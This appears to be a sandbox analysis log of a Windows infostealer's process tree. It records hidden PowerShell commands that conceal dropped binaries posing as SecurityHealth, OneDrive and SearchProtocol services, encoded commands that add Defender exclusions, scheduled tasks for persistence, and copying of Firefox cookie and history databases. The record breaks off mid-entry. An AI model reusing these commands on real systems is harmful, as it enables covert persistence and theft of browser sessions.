- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:9
    3⤵
    PID:5300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:9
    3⤵
    PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:9
    3⤵
    PID:2472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:9
    3⤵
    PID:2328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:9
    3⤵
    PID:4120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:9
    3⤵
    PID:3012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:1
    3⤵
    PID:6356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service" 2>nul'"
  2⤵
  PID:3000
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:488
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service
      4⤵
      Views/modifies file attributes
      PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAXABcAFMAZQByAHYAaQBjAGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" 2>nul'"
  2⤵
  PID:988
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1136
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe
      4⤵
      Views/modifies file attributes
      PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAXABcAFMAZQByAHYAaQBjAGUAXABcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHYAYwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHYAYwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4652
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6828
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:6640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update" 2>nul'"
  2⤵
  PID:6884
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7116
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update
      4⤵
      Views/modifies file attributes
      PID:7144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'robocopy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release" "C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494164_7689_rb_dir" cookies.sqlite cookies.sqlite-wal cookies.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP'"
  2⤵
  PID:7096
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "robocopy C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494164_7689_rb_dir cookies.sqlite cookies.sqlite-wal cookies.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP"
    3⤵
    PID:3976
  - - C:\Windows\system32\Robocopy.exe
      robocopy C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494164_7689_rb_dir cookies.sqlite cookies.sqlite-wal cookies.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP
      4⤵
      PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABPAG4AZQBEAHIAaQB2AGUAXABcAFUAcABkAGEAdABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'robocopy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release" "C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494544_1098_rb_dir" places.sqlite places.sqlite-wal places.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5348
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "robocopy C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494544_1098_rb_dir places.sqlite places.sqlite-wal places.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP"
    3⤵
    PID:6652
  - - C:\Windows\system32\Robocopy.exe
      robocopy C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yt3t4i5l.default-release C:\Users\Admin\AppData\Local\Temp\\nyx_sql\sq_1784277494544_1098_rb_dir places.sqlite places.sqlite-wal places.sqlite-shm /R:2 /W:1 /COPY:DAT /DCOPY:T /NFL /NDL /NJH /NJS /NP
      4⤵
      PID:6684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" 2>nul'"
  2⤵
  PID:6536
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6868
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe
      4⤵
      Views/modifies file attributes
      PID:6744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABPAG4AZQBEAHIAaQB2AGUAXABcAFUAcABkAGEAdABlAFwAXABPAG4AZQBEAHIAaQB2AGUAVQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7132
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1740
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:5152
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6752
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host" 2>nul'"
  2⤵
  PID:6688
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7028
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host
      4⤵
      Views/modifies file attributes
      PID:7104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFQAZQBtAHAAXABcAFwAXABnAHIAYQBiAF8AMQA3ADgANAAyADcANwA0ADYAMwA0ADUANQBcAFwAZQBsAGUAdgBfAG8AdQB0ACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABQAHIAbwB0AG8AYwBvAGwAXABcAEgAbwBzAHQAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:7060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" 2>nul'"
  2⤵
  PID:6912
- - C:\Windows\system32\cmd.exe
